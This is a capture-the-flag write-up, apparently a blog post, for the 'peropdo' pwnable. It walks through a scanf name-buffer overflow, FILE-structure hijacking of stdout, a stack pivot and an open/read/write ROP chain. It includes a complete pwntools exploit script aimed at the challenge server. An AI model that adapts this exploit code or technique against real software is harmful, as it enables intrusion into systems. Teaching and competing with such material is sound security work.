Category: Potent Pwnables
32 bit ELF, static link, stripped, NX enabled, No PIE & canary.
The program is a “rolling dice” program. First we input our name, then the program will ask us how many dice would we like to roll. After we input a number, the program will start generating some random data, then store them on the stack memory. The program will then print out data[i] % 6 + 1
, which represent the numbers we roll in this round.
There’re two vulnerabilities in the program. First it use scanf("%s", name)
to read our name, which lead to buffer overflow in the name
buffer. Then, if we input a number that is larger than 23, the data that program generated will overflow the data[i]
buffer and thus overwrite the return address ( it will be a random data though ).
Since the binary was stripped, I wasn’t sure which algorithm the program used for randomizing, the only thing I knew is that the algorithm will use our name to generate the random data. At that moment, I thought it was just some self-implement function ( which is NOT correct, we’ll get into that later).
And so I thought “Hmmm, maybe I could use some symbolic execution tool to calculate the address I want to return, and do the ROP attack”. This was such a huge mistake, since I’m not familiar with any of the symbolic execution tools – angr, Triton, not to mention the fresh out manticore. Even worse, all of the tool failed to calculate the address – Triton and manticore couldn’t even execute the program, it just crashed :(
After wasting lots of time with those symbolic execution tools, I decided to try something different – the first vulnerability: overflowing the name
buffer. And the result was encouraging – since I found that I could hijack the control flow by using the call reg
and the call [reg+offset]
gadget ( we can control the content of several registers ). It seems that there’re some FILE*
pointer behind the name
buffer, so we can exploit the service by abusing the FILE structure ( we can’t control the function parameters though).
Here I chose to use the second gadget ( call [reg+offset]
), since when the program execute to that line of code, its second parameter will be the FILE*
pointer of stdout
. I control the eip
and jump to the middle of the main function:
1
2
3
4
5
6
7
8
mov dword ptr [esp+4], offset name
mov dword ptr [esp], (offset aSSSS+8) ; "%s" <--- I jump to here
call scanf
mov eax, ds:name
mov [esp], eax
call sub_0804baf0
mov dword ptr [esp], offset name
call do_main
This will make the program store the %s
string to the first parameter, then call the scanf
function, making the program calling scanf("%s", stdout)
– and thus we can control the content of stdout
!
By crafting stdout
, we can actually hijack the control flow, while having the first parameter controlled. This allowed us to do some advanced ROP attack. Here’s what I did after I controlled the eip
:
- Jump to
xchg esp, eax
gadget, migrate the stack tostdout
(which now controlled by us) - Use
add esp, offset
to skip the uncontrollable member data instdout
- Since it’s a static linked binary, it’s easy for us to find some gadgets and do the open/read/write syscall, making the service print out the flag of the challenge. (The execve syscall seems to be filtered out in this challenge)
Final exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "peropdo_bb53b90b35dba86353af36d3c6862621.quals.shallweplayaga.me"
PORT = 80
ELF_PATH = "./peropdo"
context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.terminal = ['tmux', 'splitw'] # for gdb.attach
elf = context.binary # context.binary is an ELF object
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
#gdb.attach(r, gdbscript=open("./ggg", "r"))
func = 0x0806d7aa # avoid crash
scanf = 0x08048b2a
name = p32(scanf) + p32(func) + "\x42"*972 + p32(0x80ecdf4) + '\x00'*92 + p32(0x80ecdf8)
r.sendlineafter("name?", name)
# Later the program will call scanf("%s", stdout);
# now we can overwrite the whole stdout FILE structure
stream = p32(0x08079824) # second gadget: add esp, 0x84....
stream += "/home/peropdo/flag\x00" # flag path
stream = stream.ljust(0x1c, '\0')
stream += p32(0x804b45c) # eip, first gadget: xchg esp, eax ; ret
stream = stream.ljust(0x48, '\0')
stream += p32(0x080ED3E8) # pointer to null
stream = stream.ljust(0x90, '\0')
stream += p32(0x807982b) # third gadget: pop; ret
stream += p32(0x80eb2a0) # fake jump table
# 0x08074f2e : mov eax, 5 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
# 0x08079465 : mov ebx, eax ; mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop_ebx = 0x806f322 # pop ebx;ret
pop_eax = 0x80e3525 # pop eax;ret
pop_ecx = 0x080e5ee1 # pop ecx ; ret
pop_edx = 0x0806f2fa # pop edx ; ret
int80 = 0x806fae0 # int 0x80 ; ret
buf = 0x80ed000-0x100
rop = flat(
pop_ecx,
0,
pop_edx,
0,
0x08074f2e, # mov eax = 5 (open), pop ebx...
0x80eb2a4, # ptr to flag path
[0,0,0],
int80,
pop_eax,
3, # read
pop_ebx,
3, #fd
pop_ecx,
buf,
pop_edx,
0x100,
int80,
pop_ebx,
1, # fd,
pop_eax,
4, # write
int80
)
r.sendline(stream + rop)
r.interactive()
flag: Thanks to Kenshoto for the inspiration! 5fbb34920c457b2e0855a174b8de3ebc
Later did I know (thanks to teammate Isaac) that there’s a thing call FLIRT in IDA Pro, which can help the user identify the function call in libc. All we need to do is download a FLIRT signature database from github ( here’s the DB I used for this challenge ), and use FILE –> Load File –> FLIRT signature file to load the database. IDA will then identify the function name, making the reverse engineering less painful. By using this technique, we’ll be able to identify some libc function, even the location of stdout
.
And that’s when I found that the “self-implement random” function is actually just srand()
& rand()
in libc. According to meh from HITCON, you can just brute-force the desired return address. Moreover, because the name
buffer address is right under the return address, so you can just use pop esp; ret
to migrate the stack into name
buffer, and do the ROP attack. Guess I still got a lot of shit to learn :/
Comments powered by Disqus.